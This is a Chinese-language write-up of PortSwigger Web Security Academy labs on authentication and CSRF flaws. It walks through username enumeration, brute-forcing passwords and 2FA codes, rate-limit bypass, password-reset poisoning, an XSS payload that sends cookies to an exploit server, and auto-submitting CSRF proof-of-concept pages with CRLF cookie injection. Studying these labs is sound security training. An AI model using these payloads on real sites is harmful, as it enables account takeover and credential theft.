PortSwigger之身份验证+CSRF笔记
身份验证
https://portswigger.net/web-security/all-labs#authentication
01 不同响应的用户枚举
描述
该实验室容易受到用户名枚举和密码暴力攻击。它有一个具有可预测用户名和密码的帐户,可以在以下单词列表中找到:
候选人用户名
候选人密码
为了解决这个实验,枚举一个有效的用户名,暴力破解这个用户的密码,然后访问他们的帐户页面。
解决方案
抓包添加变量的方式很简单,不写了。
先抓包爆破用户名,字典用题目给出的
得到用户名是vagrant
再爆破密码
得到密码amanda
使用您确定的用户名和密码登录并访问用户帐户页面以解决实验室问题。
02 Username enumeration via subtly different responses
描述
这个实验室很容易受到用户名枚举和密码暴力攻击的攻击。它有一个具有可预测用户名和密码的帐户,可以在以下单词列表中找到:
候选人用户名
候选人密码
为了解决这个实验,枚举一个有效的用户名,暴力破解这个用户的密码,然后访问他们的帐户页面。
解决方案
在“选项”选项卡上的“Grep - Extract”下,单击“add”。在出现的对话框中,向下滚动响应,直到找到错误消息Invalid username or password.
。使用鼠标选中显示消息的文本内容。其他设置将自动调整。单击“ok”,然后开始攻击。
攻击完成后,请注意还有一个包含您提取的错误消息的附加列。使用此列对结果进行排序,以注意其中一个有“一点”不同,其他后面都是一个点,这个是空格。
得到用户名anaheim
继续使用此用户名爆破密码,得到密码121212
登录
03 Username enumeration via response timing
描述
该实验室容易受到使用其响应时间的用户名枚举的影响。为了解决这个实验,枚举一个有效的用户名,暴力破解这个用户的密码,然后访问他们的帐户页面。
您的凭据:
wiener:peter
候选人用户名
候选人密码
暗示
为了增加挑战,该实验室还实施了一种基于 IP 的蛮力保护形式。但是,这可以通过操纵 HTTP 请求标头轻松绕过。
解决方案
如果直接爆破会触发保护机制(30分钟限制)
当用户名正确时,密码越长,响应时间就越长
使用X-X-Forwarded-For进行绕过检测
添加X-Forwarded-For: 1
第一个位置选择数字范围
第二个位置选择用户名字典
开始攻击,选择响应时间排序
得到用户名azureuser
把用户名换进去继续爆破密码,得到密码1234
登录
04 Broken brute-force protection, IP block
描述
由于密码暴力保护的逻辑缺陷,该实验室很容易受到攻击。要解决实验室问题,请暴力破解受害者的密码,然后登录并访问他们的帐户页面。
您的凭据:
wiener:peter
受害者用户名:
carlos
候选人密码
解决方案
这个实验很有意思,如果你连续提交 3 次错误登录请求,那么你的 IP 将被暂时阻止。但是,请注意,你可以通过在达到此限制之前登录自己的帐户来重置登录尝试失败次数的计数器。也就是说爆破密码1~2次后要登录自己的账号一次,以此循环。不能三次,因为三次错误会锁定ip1分钟。还需要注意爆破不能多线程,要不然不符合前面的解题思路,还是会锁定1分钟。
修改字典,每隔一个密码插入一个peter,此操作实验notepad++执行,替换回车换行符即可
设置用户名字典,用户名wiener要和密码本里面的密码peter对应起来
开始爆破
按用户名排序,找到302的状态码,密码是123123
登录
05 Username enumeration via account lock
描述
该实验室容易受到用户名枚举的影响。它使用帐户锁定,但这包含一个逻辑缺陷。为了解决这个实验,枚举一个有效的用户名,暴力破解这个用户的密码,然后访问他们的帐户页面。
候选人用户名
候选人密码
解决方案
在本实验中,我们将利用帐户锁定中的一个逻辑缺陷。我们首先需要枚举出一个有效的用户名,暴力破解密码,就像在之前的实验室中一样。在枚举用户名的时候需要使每一个用户名重复5次,并观察哪个用户名返回更长的响应。
抓包,设置攻击模式Cluster bomb,对用户名位置添加有效载荷,在末尾处添加空的有效载荷(不对数据包产生影响)
第一个添加用户名字典payload
第二个添加5个null payload
开始攻击
通过对长度排序,得到用户名oracle
爆破密码,sniper方式
添加过滤结果
没有错误信息的是matrix
登录
06 Broken brute-force protection, multiple credentials per request
描述
由于其蛮力保护存在逻辑缺陷,该实验室很容易受到攻击。为了破解实验室,暴力破解 Carlos 的密码,然后访问他的帐户页面。
受害者用户名:
carlos
候选人密码
解决方案
1.在 Burp 运行的情况下,调查登录页面。请注意,该POST /login请求以JSON格式提交登录凭据。将此请求发送到 Burp Repeater。
2.在 Burp Repeater 中,用包含所有候选密码的字符串数组替换密码的单个字符串值。例如:“username” : “carlos”, “password” : [ “123456”, “password”, “qwerty” … ]
3.发送请求。这将返回 302 响应。
4.右键单击此请求并选择“Show response in browser”。复制 URL 并将其加载到浏览器中。页面加载,您以 身份登录carlos。
07 2FA simple bypass
描述
可以绕过此实验室的双因素身份验证。您已获得有效的用户名和密码,但无权访问用户的 2FA 验证码。要解决实验室问题,请访问 Carlos 的帐户页面。
您的凭据:
wiener:peter
受害人的证件
carlos:montoya
解决方案
这个实验需要双重验证,第一重是密码验证,第二重是邮箱验证码。
自己的凭据wiener:peter可以获取验证码,carlos收不到验证码
我们先登录自己的账号,获取邮箱验证码登录,保存登录之后的url
https://acfd1f051fbd6e818068438d009e00e6.web-security-academy.net/my-account
登录carlos账户
直接把url后面换成/my-account
访问解题
08 2FA broken logic
描述
由于其有缺陷的逻辑,该实验室的双因素身份验证很容易受到攻击。要解决实验室问题,请访问 Carlos 的帐户页面。
您的凭据:
wiener:peter
受害者用户名:
carlos
您还可以访问电子邮件服务器以接收您的 2FA 验证码。
解决方案
这个实验的漏洞点在于第一次正常验证,第二次验证时通过修改cookie中verify的用户名,输入这个用户的邮箱验证码就会跳转到哪个用户的登录成功页面。也就是说,只要我们能够获取到carlos的邮箱验证码就ok了。我们并没有这个用户的邮箱验证码,但是可以通过修改获取邮件的数据包的verify参数来发送carlos的邮箱验证码
1.开启bp的代理,使用浏览器登录wiener用户。我们在http历史中找到GET方法的login2数据包,使用repeater修改verify=carlos,发包
2.爆破验证码
退出wiener用户,重新登录wiener用户,在提交验证码的时候抓包放在intruder,对验证码字段添加标记做为爆破点
开始爆破,在状态码排序,302的就是正确验证码的包
3.在响应中右键选择 show response in browser,复制url,放到浏览器访问解决实验
09 2FA bypass using a brute-force attack
描述
本实验室的双因素身份验证容易受到暴力破解。您已获得有效的用户名和密码,但无权访问用户的 2FA 验证码。要解决实验室问题,请暴力破解 2FA 代码并访问 Carlos 的帐户页面。
受害人证件:carlos:montoya
解决方案
获取数据包:开始代理,进入登录页面,登录用户carlos,输入验证码1111提交。
Project options的sessions标签下Session Handling Rules功能点击add添加
scope中选择应用于所有的urls
添加Rule Actions
选择run Rule a macro
添加macro
选择这三个数据包,OK
点击test macro测试
可以正常显示第三个数据包的响应,这是我们想要的
点击4次OK确认添加
后面操作就是正常爆破验证码流程了,添加到intruder
设置字典
线程设置为1,开始攻击
这可也太慢了,还好是0开头的
放到浏览器访问
10 Brute-forcing a stay-logged-in cookie
描述
此实验室允许用户在关闭浏览器会话后仍保持登录状态。用于提供此功能的 cookie 容易受到暴力破解。
为了解决实验室问题,暴力破解 Carlos 的 cookie 以访问他的“我的帐户”页面。
您的凭据:
wiener:peter
受害者用户名:
carlos
候选人密码
解决方案
这个漏洞点在GET /my-account数据包修改正确的cookie的stay-logged-in值就可以登录用户
1.通过代理登录wiener,在GET /my-account数据包中发现cookie的stay-logged-in值是base64编码
解码结果是
wiener:51dc30ddc473d43a6011e9ebba6ca770
md5在线查询网站https://www.somd5.com/
解码结果是peter
可以使用bp爆破
发送到intruder
将密码字典paste进去,payload processing添加规则
第一条MD5是对上面密码字典进行md5加密处理,add prefix添加前缀carlos:是固定的格式,结果就是carlos:md5,最后对结果进行base64加密就是我们需要的cookie的stay-logged-in值
开始攻击,长度排序得到答案
Y2FybG9zOjFiYmQ4ODY0NjA4MjcwMTVlNWQ2MDVlZDQ0MjUyMjUx
解码结果是carlos:1bbd886460827015e5d605ed44252251
md5查询得到密码11111111
登录得到解答
11 Offline password cracking
描述
该实验室将用户的密码哈希存储在 cookie 中。该实验室的评论功能中还包含一个 XSS 漏洞。要解决实验室问题,请获取卡洛斯的stay-logged-in
cookie 并使用它来破解他的密码。然后,登录carlos
并从“我的帐户”页面中删除他的帐户。
您的凭据:
wiener:peter
受害者用户名:
carlos
解决方案
1.漏洞在于评论处XSS,登录用户的cookie的stay-logged-in值中包含密码的md5值
2.XSS攻击
登录wiener用户,找一个博客文章进行评论
<script>document.location='//your-exploit-server-id.web-security-academy.net/'+document.cookie</script>
<script>document.location='//exploit-ac631f2f1fbe5bc4807003cf01b70086.web-security-academy.net/'+document.cookie</script>
获取cookie
Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz
解码得到carlos:26323c16d5f4dabff3bb136f2460a943
md5查询得到密码onceuponatime
删除账户解决实验
12 Password reset broken logic
描述
该实验室的密码重置功能易受攻击。要解决实验室问题,请重置 Carlos 的密码,然后登录并访问他的“我的帐户”页面。
您的凭据:
wiener:peter
受害者用户名:
carlos
进入实验室
解决方案
这个实验室的漏洞在忘记密码发送重置密码的链接只对用户名进行了验证。
只要我们得到重置密码的数据包,只需要将用户名换成carlos就可以成功修改密码,需要注意的一点是数据包中的temp-forgot-password-token可以重复使用,当我把temp-forgot-password-token的值删除后仍然可以成功修改密码。
开启代理,使用wiener用户操作找回密码的过程,在邮箱中获取到找回密码链接,输入新密码就可以重置密码成功。
找到重置密码的数据包,放到repeater,用户名修改为carlos,发包
登录carlos/123456
成功
当我删除temp-forgot-password-token后依然重置成功
13 Password reset poisoning via middleware
描述
该实验室容易受到密码重置中毒的影响。用户carlos
会不小心点击他收到的电子邮件中的任何链接。要解决实验室,请登录卡洛斯的帐户。您可以使用以下凭据登录您自己的帐户:wiener:peter
. 任何发送到此帐户的电子邮件都可以通过漏洞利用服务器上的电子邮件客户端读取。
进入实验室
解决方案
与上一个实验相比较而言,在重置密码的部分对temp-forgot-password-token值进行了校验,temp-forgot-password-token的值必须与用户对应才可以修改密码。在本实验中X-Forwarded-Host
标头是受支持的,您可以使用它来将动态生成的重置链接指向任意域。
1.bp获取到忘记密码的POST 数据包
2.将此数据包发送到repeater,对数据包添加X-Forwarded-Hostbi标头,并指向漏洞服务器
X-Forwarded-Host: exploit-acbb1f731fa3260a818601a701110019.web-security-academy.net
3.在日志中可以看到返回的temp-forgot-password-token值
temp-forgot-password-token=0Bfz89td9StCrkAQNwv9DFOhXql0eIzI
4将重置密码的数据包中的temp-forgot-password-token值替换,进行设置的密码就是carlos的密码
登录carlos
14 Password brute-force via password change
描述
该实验室的密码更改功能使其容易受到暴力攻击。要解决实验室问题,请使用候选密码列表对 Carlos 的帐户进行暴力破解并访问他的“我的帐户”页面。
您的凭据:
wiener:peter
受害者用户名:
carlos
候选人密码
解决方案
本实验的思路是在修改密码的时候通过对正确原始密码+不一致的新密码、错误原密码+不一致新密码、错误原密码+一致新密码的响应来观察响应的内容。
第一种情况
回显
New passwords do not match
这种情况可以爆破,直接写carlos用户即可。当原密码爆破为正确的时候会显示New passwords do not match,不正确的时候会跳转到登录页面。爆破的时候使用New passwords do not match
进行过滤
第二种情况
回显
Current password is incorrect
这种情况只能判断输入的新密码是否相同,不能用来爆破
第三种情况
跳转到登录页面,无回显
此情况也无法爆破
1.在 Bup Intruder 中,将username参数更改为carlos,并向密码位置添加有效负载。新密码设置为两个不同的值。例如:
username=carlos¤t-password=§peter66§&new-password-1=1234&new-password-2=1234888
2.在“Payloads”选项卡上,输入密码列表作为有效负载集
3.在“选项”选项卡上,添加 grep 匹配规则以标记包含New passwords do not match
开始攻击。
7.攻击完成后,请注意发现了一个包含该New passwords do not match消息的响应。记下此密码biteme。
8.在您的浏览器中,注销您自己的帐户并使用carlos您刚刚确定的用户名和密码重新锁定。
CSRF
01 LAB CSRF vulnerability with no defenses
描述
本实验室的电子邮件更改功能易受 CSRF 攻击。
您可以使用以下凭据登录自己的帐户:wiener:peter
解决
1.使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,然后在您的代理历史记录中找到生成的请求。
2.如果您使用Burp Suite Professional,请右键单击请求并选择 Engagement tools / Generate CSRF PoC。启用包含自动提交脚本的选项,然后单击“重新生成”。
或者,如果您使用Burp Suite 社区版,请使用以下 HTML 模板并填写请求的方法、URL 和正文参数。您可以通过右键单击并选择“复制 URL”来获取请求 URL。
<form method="$method" action="$url">
<input type="hidden" name="$param1name" value="$param1value">
</form>
<script>
document.forms[0].submit();
</script>
3.转到漏洞利用服务器,将您的漏洞利用 HTML 粘贴到“正文”部分,然后单击“存储”。
4.要验证漏洞利用是否有效,请单击“查看漏洞利用”自行尝试,然后检查生成的 HTTP 请求和响应。
5.单击“Deliver to victim”以解决实验室问题。
1 登录过程抓包,选择bp进入“代理”>“HTTP 历史”查看
2 使用修改邮箱功能将邮箱设置为[email protected]
3 找到修改邮箱的POST请求包,生成CSRFPOC
勾选自动提交
点击regenerate重新生成
复制下来
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac711fdb1f93740f808051ab008d0004.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test@11.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
打开exploit server
02 LAB CSRF where token validation depends on request method
描述
本实验室的电子邮件更改功能易受 CSRF 攻击。它试图阻止 CSRF 攻击,但仅对某些类型的请求应用防御。
您可以使用以下凭据登录自己的帐户:wiener:peter
解决
1.使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,然后在您的代理历史记录中找到生成的请求。2.将请求发送到 Burp Repeater 并观察,如果您更改csrf参数的值,则请求将被拒绝。
3.使用上下文菜单上的“更改请求方法”将其转换为 GET 请求并观察CSRF 令牌不再被验证。
4.如果您使用Burp Suite Professional,请右键单击请求,然后从上下文菜单中选择 Engagement tools / Generate CSRF PoC。启用包含自动提交脚本的选项,然后单击“重新生成”。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac8b1fde1eb5b284802b0fbc006d0065.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="test@11.com" />
<input type="hidden" name="csrf" value="cnT9jVGtcJNixiLg40JcGmCarbSkPq6" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
5.转到漏洞利用服务器,将您的漏洞利用 HTML 粘贴到“正文”部分,然后单击“store”。
6.要验证该漏洞是否有效,请单击“view exploit”并检查生成的 HTTP 请求和响应,自行尝试。
7.单击“Deliver to victim”以解决实验室问题。
03 LAB CSRF where token validation depends on token being present
描述
本实验室的电子邮件更改功能易受 CSRF 攻击。
您可以使用以下凭据登录自己的帐户:wiener:peter
解决
1 使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,然后在您的代理历史记录中找到生成的请求。
2 将请求发送到 Burp Repeater 并观察,如果您更改csrf参数的值,则请求将被拒绝。csrf完全 删除参数并观察请求现在已被接受。
3如果您使用Burp Suite Professional,请右键单击请求,然后从上下文菜单中选择 Engagement tools / Generate CSRF PoC。启用包含自动提交脚本的选项,然后单击“重新生成”。或者,如果您使用Burp Suite 社区版,请使用以下 HTML 模板并填写请求的方法、URL 和正文参数。您可以通过右键单击并选择“复制 URL”来获取请求 URL。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://acad1f5a1e22b210802511ba00240068.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test@11.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
4转到漏洞利用服务器,将您的漏洞利用 HTML 粘贴到“body”部分,然后单击“store”。
5要验证该漏洞是否有效,请单击“view exploit”并检查生成的 HTTP 请求和响应,自行尝试。
6单击“Deliver to victim”以解决实验室问题。
04 LAB CSRF where token is not tied to user session
描述
本实验室的电子邮件更改功能易受 CSRF 攻击。它使用令牌来尝试防止 CSRF 攻击,但它们没有集成到站点的会话处理系统中。
您在应用程序上有两个帐户,可用于帮助设计攻击。凭据如下:
wiener:peter
carlos:montoya
解决
1.使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,并拦截
由此产生的请求。必须拦截,因为csrf令牌是一次性的,这个包里面的令牌不能用两次,所以要把包删掉
2.记下CSRF 令牌的值,然后点击Drop删除请求。
csrf=pVb6G3EFiijsfsKo9R0KvGlbQ4KcTbbm
3.打开一个私人/隐身浏览器窗口,登录到您的另一个帐户,然后将更新电子邮件请求发送到 Burp Repeater。
4.请注意,如果您将 CSRF 令牌与其他帐户的值交换,则该请求将被接受。
原
csrf=qracOsGVYeusDaNynC6mO9GcODOqKEdd
替换
csrf=pVb6G3EFiijsfsKo9R0KvGlbQ4KcTbbm
5.创建并托管一个概念证明漏洞利用,如没有防御实验室的CSRF 漏洞的解决方案中所述。请注意,CSRF 令牌是一次性的,因此您需要包含一个新令牌(再抓个包)。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac321fb01eae7c78802da405005b0023.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="666@qq.com" />
<input type="hidden" name="csrf" value="clAC9RgHhOtiRIZ0ICPrB28TvzkNmHoh" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
6.存储漏洞,然后单击“交付给受害者”以解决实验室问题。
05 LAB CSRF where token is tied to non-session cookie
描述
本实验室的电子邮件更改功能易受 CSRF 攻击。它使用令牌来尝试防止 CSRF 攻击,但它们并没有完全集成到站点的会话处理系统中。
您在应用程序上有两个帐户,可用于帮助设计攻击。凭据如下:
wiener:peter
carlos:montoya
解决
思路描述:这个实验环境不说了。前提是被攻击者是登录状态,由于靶机存在csrfKeycookie注入漏洞(可以直接将我们定义好的cookie注入到靶机),攻击的时候的CSRF POC中需要把<img onerror="document.forms[0].submit()">
这句话加进去作用是将已知的cookie注入给被攻击者(登录状态)。csrfcookie注入进去之后再使用我们的poc就能正常攻击了(csrfcookie和csrf令牌对应就可以验证成功,跟用户cookie无关)。说的很乱,我是懂了。。。heihei
1.使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,然后在您的代理历史记录中找到生成的请求。
2.将请求发送到 Burp Repeater 并观察更改sessioncookie会使您注销,但更改csrfKeycookie 只会导致CSRF 令牌被拒绝。这表明csrfKeycookie 可能没有严格绑定到会话。
修改sessioncookie
修改csrfKeycookie
3.打开私人/隐身浏览器窗口,登录到您的另一个帐户,然后向 Burp Repeater 发送新的更新电子邮件请求。
4.请注意,如果您将csrfKeycookie 和csrf参数从第一个帐户交换到第二个帐户,则请求被接受。
5.关闭转发器选项卡和隐身浏览器。
6.返回原始浏览器,执行搜索,将结果请求发送到 Burp Repeater,并观察搜索词是否反映在 Set-Cookie 标头中。由于搜索功能没有 CSRF 保护,您可以使用它来将 cookie 注入受害者用户的浏览器。
https://acd21fef1fb60e0d80ed0274001c009c.web-security-academy.net/?search=test
7.创建一个使用此漏洞的 URL 将您的csrfKeycookie 注入受害者的浏览器:
https://acd21fef1fb60e0d80ed0274001c009c.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=XUFu11hyHONKPlxKPd6AGCPbMPlTTV6K
9.删除该script块,而是添加以下代码以注入 cookie:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://acd21fef1fb60e0d80ed0274001c009c.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test@11.com" />
<input type="hidden" name="csrf" value="TGBbvS9O57sj1mGR93uhCbWsTwyshUf7" />
<input type="submit" value="Submit request" />
</form>
<img src="https://acd21fef1fb60e0d80ed0274001c009c.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=XUFu11hyHONKPlxKPd6AGCPbMPlTTV6K" onerror="document.forms[0].submit()">
</body>
</html>
10.存储漏洞,然后单击“交付给受害者”以解决实验室问题。
06 LAB CSRF where token is duplicated in cookie
描述
本实验室的电子邮件更改功能易受 CSRF 攻击。它试图使用不安全的“双重提交”CSRF 预防技术。
您可以使用以下凭据登录自己的帐户:wiener:peter
解决
1.使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,然后在您的代理历史记录中找到生成的请求。
2.将请求发送到 Burp Repeater 并观察csrfbody 参数的值只是通过将它与csrfcookie进行比较来验证。
3.执行搜索,将结果请求发送到 Burp Repeater,并观察搜索词是否反映在 Set-Cookie 标头中。由于搜索功能没有 CSRF 保护,您可以使用它来将 cookie 注入受害者用户的浏览器。
4.创建一个 URL,利用此漏洞将虚假csrfcookie 注入受害者的浏览器:/?search=test%0d%0aSet-Cookie:%20csrf=fake
5.按照没有防御实验室 的CSRF 漏洞解决方案中的说明创建并托管概念验证漏洞利用,确保您的CSRF 令牌设置为“假”。应该从电子邮件更改请求中创建漏洞利用。
6.删除脚本块,改为添加以下代码以注入 cookie 并提交表单:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://acda1f281e3770c2807613ae00ce00d6.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test@11.com" />
<input type="hidden" name="csrf" value="ch4nge" />
<input type="submit" value="Submit request" />
</form>
<img src="https://acda1f281e3770c2807613ae00ce00d6.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=ch4nge" onerror="document.forms[0].submit();"/>
</body>
</html>
7.存储漏洞,然后单击“交付给受害者”以解决实验室问题。
07 LAB CSRF where Referer validation depends on header being present
描述
本实验室的电子邮件更改功能易受 CSRF 攻击。它试图阻止跨域请求,但具有不安全的回退。
您可以使用以下凭据登录自己的帐户:
解决
1.使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,然后在您的代理历史记录中找到生成的请求。
2.将请求发送到 Burp Repeater 并观察如果您更改 Referer HTTP 标头中的域,则请求将被拒绝。
3.完全删除 Referer 标头并观察请求现在已被接受。
4.创建并托管一个概念证明漏洞利用,如没有防御实验室的CSRF 漏洞的解决方案中所述。包含以下 HTML 以禁止 Referer 标头:
<meta name="referrer" content="no-referrer">
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://acc91f691fe1085e803e000d00fe0090.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test@11.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
5.存储漏洞,然后单击“交付给受害者”以解决实验室问题。
08 LAB CSRF with broken Referer validation
描述
本实验室的电子邮件更改功能易受 CSRF 攻击。它尝试检测和阻止跨域请求,但可以绕过检测机制。
您可以使用以下凭据登录自己的帐户:wiener:peter
解决
1.使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,然后在您的代理历史记录中找到生成的请求。
2.将请求发送到 Burp Repeater。请注意,如果您更改 Referer HTTP 标头中的域,请求将被拒绝。
3.复制您的实验室实例的原始域并将其以查询字符串的形式附加到 Referer 标头中。结果应该是这样的:Referer: https://ac661f171fd143d980c4313c001d00a6.web-security-academy.net
4.发送请求并观察它现在已被接受。该网站似乎接受任何 Referer 标头,只要它在字符串中的某处包含预期的域即可。
5.按照CSRF 漏洞解决方案中的描述创建一个 CSRF 概念验证,没有防御实验室,并将其托管在漏洞利用服务器上。编辑 JavaScript,使history.pushState()函数的第三个参数包含一个带有您的实验室实例 URL 的查询字符串,如下所示:这将导致生成的请求中的 Referer 标头在查询字符串中包含目标站点的 URL,就像我们测试过的一样早些时候。history.pushState(“”, “”, “/?your-lab-id.web-security-academy.net”)
6.如果您存储漏洞并通过单击“查看漏洞”进行测试,您可能会再次遇到“无效的Referer header”错误。这是因为作为安全措施,许多浏览器现在默认从 Referer 标头中删除查询字符串。要覆盖此行为并确保请求中包含完整 URL,请返回漏洞利用服务器并将以下标头添加到“Head”部分:请注意,与普通的 Referer 标头不同,必须拼写单词“referrer”在这种情况下正确。Referrer-Policy: unsafe-url
header
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referrer-Policy: unsafe-url
body
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac661f171fd143d980c4313c001d00a6.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test@11.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState("", "", "/?https://ac661f171fd143d980c4313c001d00a6.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
7.存储漏洞,然后单击“交付给受害者”以解决实验室问题。
精彩推荐